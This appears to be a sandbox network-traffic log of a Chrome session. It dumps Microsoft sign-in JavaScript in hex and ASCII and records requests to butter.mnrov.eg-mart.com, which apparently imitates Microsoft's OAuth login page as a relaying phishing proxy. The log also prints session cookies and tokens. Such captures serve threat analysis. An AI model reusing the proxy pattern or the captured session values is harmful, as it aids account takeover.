2024-11-14 15:39:36 UTC	16383	IN	Data Raw: 53 2e 6d 2e 76 62 28 65 2c 72 29 2b 22 7d 7d 7d 22 3b 73 3d 6e 65 77 20 46 75 6e 63 74 69 6f 6e 28 22 24 63 6f 6e 74 65 78 74 22 2c 22 24 65 6c 65 6d 65 6e 74 22 2c 75 29 2c 6f 3d 69 5b 61 5d 3d 73 7d 72 65 74 75 72 6e 20 6f 28 74 2c 6e 29 7d 63 61 74 63 68 28 63 29 7b 74 68 72 6f 77 20 63 2e 6d 65 73 73 61 67 65 3d 22 55 6e 61 62 6c 65 20 74 6f 20 70 61 72 73 65 20 62 69 6e 64 69 6e 67 73 2e 5c 6e 42 69 6e 64 69 6e 67 73 20 76 61 6c 75 65 3a 20 22 2b 65 2b 22 5c 6e 4d 65 73 73 61 67 65 3a 20 22 2b 63 2e 6d 65 73 73 61 67 65 2c 63 7d 7d 7d 29 2c 53 2e 67 61 2e 69 6e 73 74 61 6e 63 65 3d 6e 65 77 20 53 2e 67 61 2c 53 2e 62 28 22 62 69 6e 64 69 6e 67 50 72 6f 76 69 64 65 72 22 2c 53 2e 67 61 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 Data Ascii: S.m.vb(e,r)+"}}}";s=new Function("$context","$element",u),o=i[a]=s}return o(t,n)}catch(c){throw c.message="Unable to parse bindings.\nBindings value: "+e+"\nMessage: "+c.message,c}}}),S.ga.instance=new S.ga,S.b("bindingProvider",S.ga),function(){function
2024-11-14 15:39:36 UTC	16383	IN	Data Raw: 6e 73 65 74 22 29 26 26 6e 2e 68 61 73 28 22 76 61 6c 75 65 22 29 2c 64 3d 6e 2e 67 65 74 28 22 6f 70 74 69 6f 6e 73 49 6e 63 6c 75 64 65 44 65 73 74 72 6f 79 65 64 22 29 3b 74 3d 7b 7d 3b 76 61 72 20 66 2c 70 3d 5b 5d 3b 6c 7c 7c 28 73 3f 70 3d 53 2e 61 2e 4d 62 28 72 28 29 2c 53 2e 77 2e 4d 29 3a 30 3c 3d 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 26 26 70 2e 70 75 73 68 28 53 2e 77 2e 4d 28 65 2e 6f 70 74 69 6f 6e 73 5b 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 5d 29 29 29 2c 63 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 2e 6c 65 6e 67 74 68 26 26 28 63 3d 5b 63 5d 29 2c 66 3d 53 2e 61 2e 6a 62 28 63 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 7c 7c 65 3d 3d 3d 61 7c 7c 6e 75 6c 6c 3d 3d 3d 65 7c Data Ascii: nset")&&n.has("value"),d=n.get("optionsIncludeDestroyed");t={};var f,p=[];l\|\|(s?p=S.a.Mb(r(),S.w.M):0<=e.selectedIndex&&p.push(S.w.M(e.options[e.selectedIndex]))),c&&("undefined"==typeof c.length&&(c=[c]),f=S.a.jb(c,(function(e){return d\|\|e===a\|\|null===e\|
2024-11-14 15:39:36 UTC	16383	IN	Data Raw: 74 75 72 6e 20 69 7c 7c 28 69 3d 74 2e 74 65 78 74 28 29 7c 7c 22 22 2c 69 3d 6c 2e 74 65 6d 70 6c 61 74 65 28 6e 75 6c 6c 2c 22 7b 7b 6b 6f 5f 77 69 74 68 20 24 69 74 65 6d 2e 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 7d 7d 22 2b 69 2b 22 7b 7b 2f 6b 6f 5f 77 69 74 68 7d 7d 22 29 2c 74 2e 64 61 74 61 28 22 70 72 65 63 6f 6d 70 69 6c 65 64 22 2c 69 29 29 2c 74 3d 5b 6e 2e 24 64 61 74 61 5d 2c 6e 3d 6c 2e 65 78 74 65 6e 64 28 7b 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 3a 6e 7d 2c 72 2e 74 65 6d 70 6c 61 74 65 4f 70 74 69 6f 6e 73 29 2c 28 6e 3d 6c 2e 74 6d 70 6c 28 69 2c 74 2c 6e 29 29 2e 61 70 70 65 6e 64 54 6f 28 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 29 2c 6c 2e 66 72 61 67 6d 65 6e 74 73 3d 7b 7d 2c 6e 7d 2c 74 Data Ascii: turn i\|\|(i=t.text()\|\|"",i=l.template(null,"{{ko_with $item.koBindingContext}}"+i+"{{/ko_with}}"),t.data("precompiled",i)),t=[n.$data],n=l.extend({koBindingContext:n},r.templateOptions),(n=l.tmpl(i,t,n)).appendTo(o.createElement("div")),l.fragments={},n},t
2024-11-14 15:39:36 UTC	11301	IN	Data Raw: 67 3d 65 2e 6e 6f 74 69 66 79 4f 6e 43 6c 69 65 6e 74 41 62 6f 72 74 7c 7c 21 31 2c 6d 3d 6c 2e 53 65 72 76 65 72 44 61 74 61 2e 66 53 61 73 45 6e 64 41 75 74 68 50 6f 73 74 54 6f 47 65 74 53 77 69 74 63 68 2c 76 3d 6c 2e 53 65 72 76 65 72 44 61 74 61 2e 66 46 69 78 55 49 43 72 61 73 68 46 6f 72 41 70 69 52 65 71 75 65 73 74 48 61 6e 64 6c 65 72 3b 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 76 61 72 20 74 3d 7b 68 70 67 69 64 3a 64 2e 68 70 67 69 64 7c 7c 30 2c 68 70 67 61 63 74 3a 64 2e 68 70 67 61 63 74 7c 7c 30 7d 3b 72 65 74 75 72 6e 20 65 7c 7c 28 74 2e 41 63 63 65 70 74 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 2c 6e 26 26 64 2e 61 70 69 43 61 6e 61 72 79 26 26 28 74 2e 63 61 6e 61 72 79 3d 64 2e 61 70 69 43 61 6e 61 72 79 29 29 2c 64 Data Ascii: g=e.notifyOnClientAbort\|\|!1,m=l.ServerData.fSasEndAuthPostToGetSwitch,v=l.ServerData.fFixUICrashForApiRequestHandler;function b(e){var t={hpgid:d.hpgid\|\|0,hpgact:d.hpgact\|\|0};return e\|\|(t.Accept="application/json",n&&d.apiCanary&&(t.canary=d.apiCanary)),d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.17	49725	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:37 UTC	410	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:37 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 3679003 Cache-Control: public, max-age=31536000 Content-MD5: m5bMCfnonQM0ui+8IrUZeg== Content-Type: application/x-javascript Date: Thu, 14 Nov 2024 15:39:37 GMT Etag: 0x8DCE31CBE97473C Last-Modified: Wed, 02 Oct 2024 19:59:37 GMT Server: ECAcc (lhc/78AB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: fb7c97c3-801e-0062-1535-154340000000 x-ms-version: 2009-09-19 Content-Length: 142367 Connection: close
2024-11-14 15:39:38 UTC	15652	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-11-14 15:39:38 UTC	16383	IN	Data Raw: 69 74 65 29 20 7b 20 20 2e 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 2d 64 65 74 65 63 74 69 6f 6e 3a 3a 62 65 66 6f 72 65 20 7b 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 22 77 68 69 74 65 22 3b 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 20 7d 7d 40 6d 65 64 69 61 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 20 77 68 69 74 65 2d 6f 6e 2d 62 6c 61 63 6b 29 20 7b 20 20 2e 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 2d 64 65 74 65 63 74 69 6f 6e 3a 3a 62 65 66 6f 72 65 20 7b 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 22 62 6c 61 63 6b 22 3b 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 20 7d 7d 27 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 3b 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 Data Ascii: ite) { .high-contrast-detection::before { content: "white"; display: none; }}@media (-ms-high-contrast: white-on-black) { .high-contrast-detection::before { content: "black"; display: none; }}',e.appendChild(t);var n=document.createElement
2024-11-14 15:39:38 UTC	16383	IN	Data Raw: 6f 6e 49 6e 76 61 6c 69 64 3a 31 30 32 34 2c 54 4f 54 50 49 6e 76 61 6c 69 64 3a 31 30 32 35 2c 53 65 73 73 69 6f 6e 4e 6f 74 41 70 70 72 6f 76 65 64 3a 31 30 32 36 2c 50 68 6f 6e 65 4e 75 6d 62 65 72 49 6e 76 61 6c 69 64 3a 31 30 32 37 2c 50 68 6f 6e 65 46 6f 72 6d 61 74 74 69 6e 67 49 6e 76 61 6c 69 64 3a 31 30 32 38 2c 50 6f 6c 6c 69 6e 67 54 69 6d 65 64 4f 75 74 3a 31 30 32 39 2c 53 65 6e 64 4e 6f 74 69 66 69 63 61 74 69 6f 6e 46 61 69 6c 65 64 3a 31 30 33 30 2c 53 65 72 76 65 72 5f 4d 65 73 73 61 67 65 4f 6e 6c 79 3a 39 39 39 39 2c 50 50 5f 45 5f 44 42 5f 4d 45 4d 42 45 52 44 4f 45 53 4e 4f 54 45 58 49 53 54 3a 22 43 46 46 46 46 43 31 35 22 2c 50 50 5f 45 5f 45 58 43 4c 55 44 45 44 3a 22 38 30 30 34 31 30 31 30 22 2c 50 50 5f 45 5f 4d 45 4d 42 45 52 Data Ascii: onInvalid:1024,TOTPInvalid:1025,SessionNotApproved:1026,PhoneNumberInvalid:1027,PhoneFormattingInvalid:1028,PollingTimedOut:1029,SendNotificationFailed:1030,Server_MessageOnly:9999,PP_E_DB_MEMBERDOESNOTEXIST:"CFFFFC15",PP_E_EXCLUDED:"80041010",PP_E_MEMBER
2024-11-14 15:39:38 UTC	16383	IN	Data Raw: 2e 67 64 28 29 29 7d 76 61 72 20 68 2c 67 2c 6d 2c 76 2c 62 2c 79 2c 53 3d 76 6f 69 64 20 30 21 3d 3d 65 3f 65 3a 7b 7d 3b 53 2e 62 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 22 2e 22 29 2c 72 3d 53 2c 6f 3d 30 3b 6f 3c 6e 2e 6c 65 6e 67 74 68 2d 31 3b 6f 2b 2b 29 72 3d 72 5b 6e 5b 6f 5d 5d 3b 72 5b 6e 5b 6e 2e 6c 65 6e 67 74 68 2d 31 5d 5d 3d 74 7d 2c 53 2e 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 5b 74 5d 3d 6e 7d 2c 53 2e 76 65 72 73 69 6f 6e 3d 22 33 2e 35 2e 31 22 2c 53 2e 62 28 22 76 65 72 73 69 6f 6e 22 2c 53 2e 76 65 72 73 69 6f 6e 29 2c 53 2e 6f 70 74 69 6f 6e 73 3d 7b 64 65 66 65 72 55 70 64 61 74 65 73 3a 21 31 2c 75 73 65 4f 6e 6c 79 4e 61 74 69 76 65 45 76 65 6e 74 73 3a Data Ascii: .gd())}var h,g,m,v,b,y,S=void 0!==e?e:{};S.b=function(e,t){for(var n=e.split("."),r=S,o=0;o<n.length-1;o++)r=r[n[o]];r[n[n.length-1]]=t},S.L=function(e,t,n){e[t]=n},S.version="3.5.1",S.b("version",S.version),S.options={deferUpdates:!1,useOnlyNativeEvents:
2024-11-14 15:39:38 UTC	16383	IN	Data Raw: 7d 7d 3b 53 2e 4c 28 45 2c 22 69 6e 69 74 22 2c 45 2e 71 62 29 2c 53 2e 4c 28 45 2c 22 73 75 62 73 63 72 69 62 65 22 2c 45 2e 73 75 62 73 63 72 69 62 65 29 2c 53 2e 4c 28 45 2c 22 65 78 74 65 6e 64 22 2c 45 2e 65 78 74 65 6e 64 29 2c 53 2e 4c 28 45 2c 22 67 65 74 53 75 62 73 63 72 69 70 74 69 6f 6e 73 43 6f 75 6e 74 22 2c 45 2e 42 64 29 2c 53 2e 61 2e 42 61 26 26 53 2e 61 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 45 2c 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 29 2c 53 2e 54 2e 66 6e 3d 45 2c 53 2e 51 63 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 2e 73 75 62 73 63 72 69 62 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 Data Ascii: }};S.L(E,"init",E.qb),S.L(E,"subscribe",E.subscribe),S.L(E,"extend",E.extend),S.L(E,"getSubscriptionsCount",E.Bd),S.a.Ba&&S.a.setPrototypeOf(E,Function.prototype),S.T.fn=E,S.Qc=function(e){return null!=e&&"function"==typeof e.subscribe&&"function"==typeof
2024-11-14 15:39:38 UTC	16383	IN	Data Raw: 61 73 42 69 6e 64 69 6e 67 73 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 54 79 70 65 29 7b 63 61 73 65 20 31 3a 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 62 69 6e 64 22 29 7c 7c 53 2e 6a 2e 67 65 74 43 6f 6d 70 6f 6e 65 6e 74 4e 61 6d 65 46 6f 72 4e 6f 64 65 28 65 29 3b 63 61 73 65 20 38 3a 72 65 74 75 72 6e 20 53 2e 68 2e 43 64 28 65 29 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 21 31 7d 7d 2c 67 65 74 42 69 6e 64 69 6e 67 73 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 28 6e 3d 74 68 69 73 2e 67 65 74 42 69 6e 64 69 6e 67 73 53 74 72 69 6e 67 28 65 2c 74 29 29 3f 74 68 69 73 2e 70 61 72 73 65 42 69 6e 64 69 6e 67 73 53 74 72 69 6e 67 28 6e Data Ascii: asBindings:function(e){switch(e.nodeType){case 1:return null!=e.getAttribute("data-bind")\|\|S.j.getComponentNameForNode(e);case 8:return S.h.Cd(e);default:return!1}},getBindings:function(e,t){var n=(n=this.getBindingsString(e,t))?this.parseBindingsString(n
2024-11-14 15:39:38 UTC	16383	IN	Data Raw: 21 31 2c 21 30 29 2c 65 28 22 77 69 74 68 22 2c 21 30 29 7d 28 29 2c 53 2e 63 5b 22 6c 65 74 22 5d 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 2c 6f 29 7b 72 65 74 75 72 6e 20 74 3d 6f 2e 65 78 74 65 6e 64 28 74 29 2c 53 2e 4f 61 28 74 2c 65 29 2c 7b 63 6f 6e 74 72 6f 6c 73 44 65 73 63 65 6e 64 61 6e 74 42 69 6e 64 69 6e 67 73 3a 21 30 7d 7d 7d 2c 53 2e 68 2e 65 61 5b 22 6c 65 74 22 5d 3d 21 30 3b 76 61 72 20 44 3d 7b 7d 3b 53 2e 63 2e 6f 70 74 69 6f 6e 73 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 22 73 65 6c 65 63 74 22 21 3d 3d 53 2e 61 2e 52 28 65 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 6f 70 74 69 6f 6e 73 20 62 69 6e 64 69 6e 67 20 61 70 70 6c 69 65 73 20 6f 6e 6c 79 20 74 6f 20 53 45 4c 45 43 54 Data Ascii: !1,!0),e("with",!0)}(),S.c["let"]={init:function(e,t,n,r,o){return t=o.extend(t),S.Oa(t,e),{controlsDescendantBindings:!0}}},S.h.ea["let"]=!0;var D={};S.c.options={init:function(e){if("select"!==S.a.R(e))throw Error("options binding applies only to SELECT
2024-11-14 15:39:38 UTC	16383	IN	Data Raw: 73 65 74 44 6f 6d 4e 6f 64 65 43 68 69 6c 64 72 65 6e 46 72 6f 6d 41 72 72 61 79 4d 61 70 70 69 6e 67 22 2c 53 2e 61 2e 65 63 29 2c 53 2e 62 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 61 6c 6c 6f 77 54 65 6d 70 6c 61 74 65 52 65 77 72 69 74 69 6e 67 3d 21 31 7d 2c 53 2e 62 61 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 65 77 20 53 2e 63 61 2c 53 2e 62 61 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 53 2e 62 61 2c 53 2e 62 61 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 6e 64 65 72 54 65 6d 70 6c 61 74 65 53 6f 75 72 63 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 72 65 74 75 72 6e 28 74 3d 39 3e 53 2e 61 2e 57 7c 7c 21 65 2e 6e 6f 64 65 73 3f 6e 75 6c 6c 3a 65 2e 6e 6f 64 65 73 28 29 29 3f 53 2e 61 2e 6c 61 28 74 2e 63 Data Ascii: setDomNodeChildrenFromArrayMapping",S.a.ec),S.ba=function(){this.allowTemplateRewriting=!1},S.ba.prototype=new S.ca,S.ba.prototype.constructor=S.ba,S.ba.prototype.renderTemplateSource=function(e,t,n,r){return(t=9>S.a.W\|\|!e.nodes?null:e.nodes())?S.a.la(t.c
2024-11-14 15:39:39 UTC	12034	IN	Data Raw: 65 6e 28 6e 75 6c 6c 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 3f 6e 2e 72 65 6c 6f 61 64 4f 6e 46 61 69 6c 75 72 65 3f 7b 72 65 64 69 72 65 63 74 55 72 6c 3a 76 28 29 7d 3a 7b 72 65 64 69 72 65 63 74 55 72 6c 3a 6e 2e 66 61 69 6c 75 72 65 52 65 64 69 72 65 63 74 55 72 6c 7d 3a 73 2e 72 65 6a 65 63 74 28 65 29 7d 29 29 29 3a 73 2e 72 65 6a 65 63 74 28 22 62 73 73 6f 44 69 73 61 62 6c 65 64 22 29 7d 2c 74 68 69 73 2e 69 73 45 6e 61 62 6c 65 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 21 6e 2e 65 6e 61 62 6c 65 64 7d 2c 6e 2e 65 6e 61 62 6c 65 64 26 26 28 6d 3d 7b 72 65 73 75 6c 74 3a 6e 75 6c 6c 2c 65 72 72 6f 72 3a 6e 75 6c 6c 2c 74 79 70 65 3a 6e 2e 74 65 6c 65 6d 65 74 72 79 2e 74 79 70 65 7c 7c 6e 75 6c 6c 2c 64 Data Ascii: en(null,(function(e){return t?n.reloadOnFailure?{redirectUrl:v()}:{redirectUrl:n.failureRedirectUrl}:s.reject(e)}))):s.reject("bssoDisabled")},this.isEnabled=function(){return!!n.enabled},n.enabled&&(m={result:null,error:null,type:n.telemetry.type\|\|null,d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.17	49728	78.138.9.37	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:38 UTC	2892	OUT	GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true HTTP/1.1 Host: butter.mnrov.eg-mart.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://butter.mnrov.eg-mart.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: fpc=As8-FCUdWYJOniJMOE9eVDI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFehMDaCkEHJl95iOF4C7Xrda9-Or67sheJVn3EqkqYpyngYlw0bzdzpioEF9Q5o2bpLoZncUAvtbzveH4ataKofBSioXhkodH8o-RC8NzTHs9chMs6fGLfMCQ9lN3Qj63_TpVxqMlgeHA-OmWdSce9UEYylKKjmZuk1x2spTgANvMgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-JanPB47Zzx4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeOgrWZOqrQ1uFsg9pHwAYLs57srf2d6Kdd__WOjYP9hSZswfxwnfgz3MfCVmDjmamp4lAtnhHdXZyQD8DNgUm_YOhIfeFzs65Pfop03rao2y7IEPZ8iZeP6MdwidpoY9qTKIXS1kzQOU-R5DFBU4bvSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-11-14 15:39:38 UTC	2042	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 14 Nov 2024 15:39:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-store, no-cache Expires: -1 Link: <https://aadcdn.msftauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msftauth.net>; rel=dns-prefetch,<https://aadcdn.msauth.net>; rel=dns-prefetch Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+SEC"}]} Set-Cookie: buid=1.ATQAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA0AA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeipCc4ldnS61jJLBkrluvKKjPhkbyjnm7FJb-rDg5hR4CxXPlbFma3FhlwQ5_7cbQA45yaCvZ_uF0aSaIVZoxJqjEdfJKv_MxBDaL_hD7Wd4gAA; expires=Sat, 14-Dec-2024 15:39:38 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezhwTsZEpQggFeYkQRv1HpP4yyZJelITyUo-TKUiV2Idv4ezzEHYhx7nupcdSPwX7TxLpCx_OLQeHgXCfyPIzpf5mISakq9mCP0OWEFaQuXfewqC6vxubsvbaZuxNsHot4mJJ63tSlE2AoLbZM1KjkxE7z5ezI6dGOLYx8VnXtEsgAA; domain=.butter.mnrov.eg-mart.com; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx-iB8Pq6MyNGQ=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeMZ6diUzLG_ohrrKcqO5C8Wl88tOt2ObB-PTJZdX3Os-NF9Zdsl8i3vv09yhXFsZhb-VqoJJ6D81Nuf_kQQMqWso3cWSko8VzNqKbs76xIxuXBunFefHlEnpUx9WMhujsZppHiVglJ10YwcnUjEjJhyAA; domain=.butter.mnrov.eg-mart.com; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=As8-FCUdWYJOniJMOE9eVDK8Ae7AAQAAALoQyN4OAAAA; expires=Sat, 14-Dec-2024 15:39:38 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Vary: Accept-Encoding X-Dns-Prefetch-Control: on X-Ms-Clitelem: 1,0,0,, X-Ms-Ests-Server: 2.1.19343.4 - WEULR1 ProdSlices X-Ms-Request-Id: 1aba22a1-ac25-4d59-81a4-713653f54200 X-Ms-Srs: 1.P
